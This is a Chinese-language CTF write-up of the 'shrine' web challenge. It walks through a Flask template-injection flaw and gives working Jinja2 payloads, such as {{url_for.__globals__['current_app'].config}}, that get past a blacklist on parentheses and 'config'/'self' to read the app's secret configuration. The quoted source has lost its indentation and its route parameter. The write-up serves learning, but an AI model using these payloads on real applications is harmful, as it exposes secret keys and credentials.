攻防世界web进阶shrine
考点:flask模板注入漏洞
①访问目标网站
发现一串代码
②将主页代码格式化后加上注释:
import flask
import os
app = flask.Flask(__name__) #定义网页
app.config['FLAG'] = os.environ.pop('FLAG') #将config中的FLAG修改成os.environ.pop['FALG']
@app.route('/') #网站根地址
def index():
return open(__file__).read()#打开__file)__也就是我们看到的代码
@app.route('/shrine/') #网站地址/shrine
def shrine(shrine):
def safe_jinja(s): #定义一个安全检查机制
s = s.replace('(', '').replace(')', '')#把s字符串中的小括号给置空
blacklist = ['config', 'self'] #设置一个黑名单字典
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s #把黑名单中的全部过滤掉
return flask.render_template_string(safe_jinja(shrine)) #返回执行的过滤函数
if __name__ == '__main__':
app.run(debug=True)
③页面访问
经过上述分析我们只需要访问http://220.249.52.134:41339/shrine/ ,从中获取FLAG
然而我们访问:
它显示not found不要着急,我去看了看大佬的题解发现shrine是需要传参的:
于是访问:http://220.249.52.134:41339/shrine/kiki
发现他回显了kiki
④注入分析
查看这里会不会存在注入。于是将参数kiki改为{{1+1}}
这里成功返回2,从而确信这里存在注入。
PS:(问什么使用{{}},因为在flask模板中html通过{{}}解析python代码发送的数据)
⑤绕过过滤
但是传入的值过滤了:’(’ 、’)’、 ‘config’、 'self’看了大佬的题解,了解到python有一些内置函数,比如url_for和get_flashed_messages
于是访问http://220.249.52.134:41339/shrine/{{url_for.__globals__}}
⑤全局对象有一个当前app,访问:http://220.249.52.134:41339/shrine/{{url_for.__globals__['current_app'].config}}
这有个疑问,为什么config没有被过滤?
访问http://220.249.52.134:41339/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
也可以
遗留知识点:Flask框架中的url_for和get_flashed_messages